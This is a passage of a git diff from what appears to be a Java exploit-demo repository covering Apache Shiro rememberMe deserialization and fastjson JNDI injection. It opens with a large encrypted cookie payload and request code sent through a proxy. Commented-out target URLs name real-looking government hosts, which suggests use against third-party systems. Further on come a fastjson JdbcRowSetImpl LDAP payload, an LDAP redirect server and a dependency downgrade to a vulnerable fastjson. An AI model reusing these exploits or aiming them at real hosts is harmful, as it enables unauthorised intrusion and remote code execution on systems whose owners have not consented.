9k+HN9H4phRajiqtBwOkH4zwLEaOTcV4BEzT5qeHZQMBP8arCowUcGlkiIOAgHeA8rVAQjcxSmMFmBbXaX6BttSTl7BzuoRN0SIuDccmChF92jSQ+f1qlAPzMLSWSrPQghBH3ZEFfF4m6lRBJC6zU1R0FqHW15esPeTGJmybDe2D5DymbDQaYtnRcT4kfFIkbsPxGO/G5a+HTiEo9Jb07grz0Xd4JWUI2EieA2d4fr1achfS+Ghr4TK1Tgk8Cn6aM4/r6u2SGLAsIOdXqrM1YwZTvpEKKuo7cGWxiWUdXihUkkNEttuUXZSN6pgOFuJ4W7LdGDDETu3VpB8RJ21s/9/jDIwBzdkd8Sp34bza7NcjMj67LL+NQeLQmbIR2inQq978vnVDMNr1TUDBzq2G5jfdRHcVM/NQkHmI8iwZ0+YtSvT7QZDLONOrbRao5ulSzcDsukEQ/sw2x+byZsDPq56teGnJeT5BsP4JOBBSOfBawGbMSxD+suf1v/m2drg7cIVVvogmWTnd9WB9W699LeGAC9fkoS1qEMRnN6lnnAFk0zveSWM4mNexcNCK0pG5XCfDYM7+R0rU99E1L5kfEM5i5PUQvufVFGMI5omW4aa888O9pScCeAWg6Ar/yB339lY6LoIDj6pv/mg2e9xyve7krXh2rwQDDRRZwlTcABAVybdKjnVTOxmru38G+JaQfAB+avxmU7LtxlGbnt3mT77zMzWgrKjXOJgLFjJdLWn8FBJi1PSerzfESX5PlP+Q0zmODTfzOBB+ocFXoxieG5weO6uwpSYWdy+b3q/iw2GluvubnENtfG5UrLOfZo56W7iXzieCR5fcHXeRJ4mfU+OEQCPnfL1mneIfB+LguGohQMKRiaOz3PQO8IelTqfuGOdkBlKlybycWK/i7r8vLJGZsABZ0Z8Xx3ndJIO+M5YaAME6jl9COmRSHj73HvuzoLNLLi6MrCqXZRS76qjT9XXRyGQmK9c6rdYJYE2kcKnL/L0qmq+dtsJAMYtglm86vnp+HE6/75lx1wc5rn13nNMAt6yCrbCrGO9RLWLZRAyHCcCCXYXVBEwhzVGe1uJTqHDScfmDdzWXj+cKRfAnOTkEOAUkgCGLulKmGm2vqyXq9w2GvvmkD/t3C5fO/6D8Nn8Ioeyi0PBfGg/0AxpuQ2q2GBW5Tev44Z7KJraFZUAkX9S9pyAwlBjp1yNL2qq7W+W6O2yG/W7PSKeh3TvriU/olhOfQiM8saBD400VfFnX+3/9TtsYDp/qIatOZh2HWDmUuJjEXBFP0zSF90Q1GmfjM16uhRGMq/cQXJf4m9GZm3KLEVuBaRthUCVQRF/Q34sUC6E/hiUqSEzWMdIkNJZtYuKaX6E+AIxzuCh2snsliZ3zlRbTYzqyTs2wMnHWv095sa+ZINbUavqnvrkjowrxLYQdQEwIZhX7w9av6uCLKZwl9PBzKDypY26a88Hu22tQuTFaV+5aZRcsOk0ooelX90Ebvu9isN00tyU0RYkejrLjERWGv1lr2uE0m7NIqTmaQLwarnIEg+pYxpXNL7jmQM//+rj7EgQJqD9Hyzo33vnGWlGZWbDbzEhhFIHkto50MciVengrqxDsPaN10p/YxchGL/7vcPYShq3U6oeNFM/Kt1XNknm9KJIYkec21vqv4+dSBnPtxhvau9FIYG5itFvIHbyQcMmiTioaVk6F+tS7K+sR9BWZCmcqevT8NAal/jHdkT29nIihSXO0lTcySkZJXlHtsbLGoZRnztmW7DzRoYNdErt1u21Rv9egv2ZocSdsXcdFnw9YPz/IH+B2anvrntGq8mUm/T42yd7t5+p6COKrOXyQVqIEdJfEnJB+rTtBDmSQRn1bosClLjaytGj8ReAYqnYGih1bmtLpGvq2Gk062CUTUYuas2ZIMo6SKWJcTQOMDj5ZHBMxsEu2usvPdOT6LdoFizRSWTwC24/L3YiXmQGuGLIEx1NXwUkxVmrBF0Zm0SgGGj+uRaV+j/uWs7Xl97AyLTbFeI4NUC45bO4ZAqmZhc27UDsNTpFdfF1vaP0szzkw/dVsoGP5dbSc9YF2+xIkcqXDQSA55ugi7n8CiZJx4ZPTCwbccJ/WO5gLTuph2KMbGNMvD8/+TqxJlU+s6jxU0LotM4IExyyG8D3E7UPC8mc3SI3byFaTKehCklkZQY0jp7iP8nayHBNKdUIgnwvMcm6RvMxGXf4Ijr5eYwmqz4G0+ThdkxdpjS/O07mYub0MsE/UV53QOJu9UG5Xl86JEx+IZkzMfQ3Vi/JttlXKumfjv/7ypbDIyiN2g7B/Bw4yD2AqSWdq7W4UmJlW3mjqrNsR0M0SDLq8dtNjz50vaPJETY1tLcsLtakOEOI2i7DE/rK6uG3mZ06uM4AYNP+ozixCHYtGSBzZv6l8mIptolOFUm+D2vwnz5XtDPUokUuVljZzBtlEPXypjXnBHSwm/FVQJC6xLw1+Dqx518scnUWh7cAw5x/+K2NtQoc4flzOZjZ99H6bNLKRNQ4nfRqXEFB5wB9ZgYpKfinor3RUyBc8eJroxqv06csQtQ0alUzN4sl18TsjXtuekuUv2/Z7kakCnvBWyQFxs/D+awvZZhC3m/zdJ91Kuy6OtjjcRyXHfDsbY/Ic4+DT6EBhKYsTJf4todNmUi3Dhh3UwhGUQzZxghzi048E7HuMc7KOjhYU7xYkY6LTBYUpQWc5RozSTfVLmD405J3TO6yTHKKYPZx3WvC1meQFbVSv6WpJkJUnAOr+sucw/idjGKN+kGIOxq2id0TkFJE5Flqjh1t52jXm6d5hSHUcr6n8wITdG1/ivymc5sCHhJ0hnQ5TVzIerqT/xKC0cYFW5JQw4Ig6e949wOVhEy9az1g8bz4nl2AgsWywOhCGMbrIY8BJQM4cn6BMJrjQg5XGpefOzgwrir/oGfyaZMpwSDlSKmhRPEwXOC7BkXz3O7YFEyviFKymDmnYaeVXn9fXoT0D7DO98DKZAKjjfcrlJ667goOtK9T2BJpRUVN2DAaxDjHAmaWvunKUstl7gcf+cIwpJfxogS/Kc49HhKPHgHUm/EKG4JxBiXp6JMThPB5kST6uCTf3HIr+gtOolaW2CcnP4fuZoRZv8QQbu4ij4s3+OmpagMkwz91re5TuI=" ; +// cookie += "; rememberMe=" + cbcEncrypt.encrypt(key,fileReader.readBytes()); +// cookie += "; rememberMe=" + cbcEncrypt.encrypt(key,bytes); +// String cookie = "rememberMe=" + gcmEncrypt.encrypt(key,fileReader.readBytes()); +// String cookie = "rememberMe=" + gcmEncrypt.encrypt(key,bytes); // 使用 Encrypt 进行加密 + // String cookie = "rememberMe=" + Encrypt.encrypt(fileReader.readBytes(),DEFAULT_CIPHER_KEY_BYTES); System.out.println(cookie); - String url = "http://127.0.0.1:8001/index"; - String result = HttpRequest.get(url).cookie(cookie).execute().body(); +// String url = "http://sz.yunfu.gov.cn:9528/host.html"; +// String url = "http://zfgjjwt.meizhou.gov.cn:7005/netface/login.do"; + String url = "http://127.0.0.1:8090/index"; + String result = HttpRequest.get(url).cookie(cookie) + .setHttpProxy("127.0.0.1",8080).execute().toString(); +// .execute().toString(); System.out.println(result); +// System.out.println(); diff --git a/shiro/shiro-deser/src/main/resources/application.properties b/shiro/shiro-deser/src/main/resources/application.properties index 2fd1fd7..f7cbe52 100644 --- a/shiro/shiro-deser/src/main/resources/application.properties +++ b/shiro/shiro-deser/src/main/resources/application.properties @@ -1,3 +1,11 @@ -server.port=8001 +server.port=8090 logging.level.root=debug #debug=true +#shiro.enabled=true +#shiro.loginUrl=/login +#shiro.successUrl=/success +#shiro.sessionManager.sessionIdCookieEnabled=true +#shiro.sessionManager.sessionIdUrlRewritingEnabled=true +#shiro.unauthorizedUrl=/error +#shiro.web.enabled=true + diff --git a/shiro/shiro-deser/src/main/resources/templates/error.html b/shiro/shiro-deser/src/main/resources/templates/error.html new file mode 100644 index 0000000..3a14d52 --- /dev/null +++ b/shiro/shiro-deser/src/main/resources/templates/error.html @@ -0,0 +1,10 @@ + + + + + unauth + + +unauth! + + \ No newline at end of file diff --git a/shiro/shiro-deser/src/main/resources/templates/index/hello.html b/shiro/shiro-deser/src/main/resources/templates/index/hello.html new file mode 100644 index 0000000..0946609 --- /dev/null +++ b/shiro/shiro-deser/src/main/resources/templates/index/hello.html @@ -0,0 +1,10 @@ + + + + + hello + + +auth success ! hello! + + \ No newline at end of file diff --git a/shiro/shiro-deser/src/main/resources/templates/success.html b/shiro/shiro-deser/src/main/resources/templates/success.html new file mode 100644 index 0000000..affef5c --- /dev/null +++ b/shiro/shiro-deser/src/main/resources/templates/success.html @@ -0,0 +1,10 @@ + + + + + success + + +auth success + + \ No newline at end of file diff --git a/shiro/shiro-deser/target/classes/application.properties b/shiro/shiro-deser/target/classes/application.properties index 2fd1fd7..f7cbe52 100644 --- a/shiro/shiro-deser/target/classes/application.properties +++ b/shiro/shiro-deser/target/classes/application.properties @@ -1,3 +1,11 @@ -server.port=8001 +server.port=8090 logging.level.root=debug #debug=true +#shiro.enabled=true +#shiro.loginUrl=/login +#shiro.successUrl=/success +#shiro.sessionManager.sessionIdCookieEnabled=true +#shiro.sessionManager.sessionIdUrlRewritingEnabled=true +#shiro.unauthorizedUrl=/error +#shiro.web.enabled=true + diff --git a/shiro/shiro-deser/target/classes/templates/error.html b/shiro/shiro-deser/target/classes/templates/error.html new file mode 100644 index 0000000..3a14d52 --- /dev/null +++ b/shiro/shiro-deser/target/classes/templates/error.html @@ -0,0 +1,10 @@ + + + + + unauth + + +unauth! + + \ No newline at end of file diff --git a/shiro/shiro-deser/target/classes/templates/index/hello.html b/shiro/shiro-deser/target/classes/templates/index/hello.html new file mode 100644 index 0000000..0946609 --- /dev/null +++ b/shiro/shiro-deser/target/classes/templates/index/hello.html @@ -0,0 +1,10 @@ + + + + + hello + + +auth success ! hello! + + \ No newline at end of file diff --git a/shiro/shiro-deser/target/classes/templates/success.html b/shiro/shiro-deser/target/classes/templates/success.html new file mode 100644 index 0000000..affef5c --- /dev/null +++ b/shiro/shiro-deser/target/classes/templates/success.html @@ -0,0 +1,10 @@ + + + + + success + + +auth success + + \ No newline at end of file diff --git a/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_1_36.xml b/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_1_36.xml new file mode 100644 index 0000000..a39bd43 --- /dev/null +++ b/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_1_36.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_62.xml b/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_62.xml deleted file mode 100644 index e9ede74..0000000 --- a/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_62.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/vuldemo/.idea/libraries/lib.xml b/vuldemo/.idea/libraries/lib.xml new file mode 100644 index 0000000..fa8838a --- /dev/null +++ b/vuldemo/.idea/libraries/lib.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/vuldemo/.idea/workspace.xml b/vuldemo/.idea/workspace.xml index 786aec3..5e90c9c 100644 --- a/vuldemo/.idea/workspace.xml +++ b/vuldemo/.idea/workspace.xml @@ -35,6 +35,9 @@ + + + @@ -43,7 +46,7 @@ - + @@ -62,8 +65,7 @@ - - + @@ -78,9 +80,20 @@ - - - + + + + + + + + + + + + + + @@ -92,15 +105,9 @@ - - + + - - - - - - @@ -144,17 +151,6 @@ - - - - - - - - - - - @@ -166,11 +162,8 @@ - - - - - + + @@ -259,6 +252,11 @@ + + + + + 1589701852870 diff --git a/vuldemo/pom.xml b/vuldemo/pom.xml index 8e25c6a..d216760 100644 --- a/vuldemo/pom.xml +++ b/vuldemo/pom.xml @@ -50,7 +50,7 @@ com.alibaba fastjson - 1.2.62 + 1.1.36 com.unboundid diff --git a/vuldemo/src/main/java/vul/fastjson/fastjson1224.java b/vuldemo/src/main/java/vul/fastjson/fastjson1224.java index bf07395..4ab6e5e 100644 --- a/vuldemo/src/main/java/vul/fastjson/fastjson1224.java +++ b/vuldemo/src/main/java/vul/fastjson/fastjson1224.java @@ -45,5 +45,6 @@ public static void main(String[] args) { // throwables.printStackTrace(); // } + } } diff --git a/vuldemo/src/main/java/vul/fastjson/fastjson1268.java b/vuldemo/src/main/java/vul/fastjson/fastjson1268.java index 56c0923..067d860 100644 --- a/vuldemo/src/main/java/vul/fastjson/fastjson1268.java +++ b/vuldemo/src/main/java/vul/fastjson/fastjson1268.java @@ -1,28 +1,28 @@ -package vul.fastjson; - -import com.alibaba.fastjson.JSON; -import com.alibaba.fastjson.parser.ParserConfig; - -/** - * @ClassName: fastjson1268 - * @Description: TODO 修改fastjson版本 < 1.2.68 - * @Author: Summer - * @Date: 2020/7/22 15:34 - * @Version: v1.0.0 - * @Description: - * 参考文章https://paper.seebug.org/1192/#ver1268 - **/ -public class fastjson1268 { - public static void main(String[] args) { - ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - // TODO 更多payload 参考 https://paper.seebug.org/1192/#ver1248ver1268 - String payload = "{\n" + - " \"rand1\": {\n" + - " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + - " \"dataSourceName\": \"ldap://localhost:1389/Exploit\",\n" + - " \"autoCommit\": true\n" + - " }\n" + - "}\n"; - JSON.parse(payload); - } -} +//package vul.fastjson; +// +//import com.alibaba.fastjson.JSON; +//import com.alibaba.fastjson.parser.ParserConfig; +// +///** +// * @ClassName: fastjson1268 +// * @Description: TODO 修改fastjson版本 < 1.2.68 +// * @Author: Summer +// * @Date: 2020/7/22 15:34 +// * @Version: v1.0.0 +// * @Description: +// * 参考文章https://paper.seebug.org/1192/#ver1268 +// **/ +//public class fastjson1268 { +// public static void main(String[] args) { +// ParserConfig.getGlobalInstance().setAutoTypeSupport(true); +// // TODO 更多payload 参考 https://paper.seebug.org/1192/#ver1248ver1268 +// String payload = "{\n" + +// " \"rand1\": {\n" + +// " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + +// " \"dataSourceName\": \"ldap://localhost:1389/Exploit\",\n" + +// " \"autoCommit\": true\n" + +// " }\n" + +// "}\n"; +// JSON.parse(payload); +// } +//} diff --git a/vuldemo/src/main/java/vul/util/ldapserver.java b/vuldemo/src/main/java/vul/util/ldapserver.java index 8066cbb..22234b0 100644 --- a/vuldemo/src/main/java/vul/util/ldapserver.java +++ b/vuldemo/src/main/java/vul/util/ldapserver.java @@ -35,7 +35,7 @@ public static void main ( String[] args ) { try { // URL地址可以修改成任意地址 - URL url = new URL("http://localhost:6666/#Calc"); + URL url = new URL("http://127.0.0.1:8090/#Calc"); InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ diff --git a/vuldemo/target/classes/webapp/index.jsp b/vuldemo/target/classes/webapp/index.jsp new file mode 100644 index 0000000..1d41648 --- /dev/null +++ b/vuldemo/target/classes/webapp/index.jsp @@ -0,0 +1,37 @@ +<%-- + Created by Bearcat + User: Administrator + Date: 2018/10/15 0015 + Time: 20:36 + To change this template use File | Settings | File Templates. +--%> +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + FastJson漏洞演示程序 + + + + + + + + + + + + diff --git a/vuldemo/target/classes/webapp/logo.jpg b/vuldemo/target/classes/webapp/logo.jpg new file mode 100644 index 0000000..0a59ea1 Binary files /dev/null and b/vuldemo/target/classes/webapp/logo.jpg differ diff --git a/vuldemo/vuldemo.iml b/vuldemo/vuldemo.iml index 236b8b8..fcd9608 100644 --- a/vuldemo/vuldemo.iml +++ b/vuldemo/vuldemo.iml @@ -28,10 +28,11 @@ - + + \ No newline at end of file
AltStyle によって変換されたページ (->オリジナル) / アドレス: モード: デフォルト 音声ブラウザ ルビ付き 配色反転 文字拡大 モバイル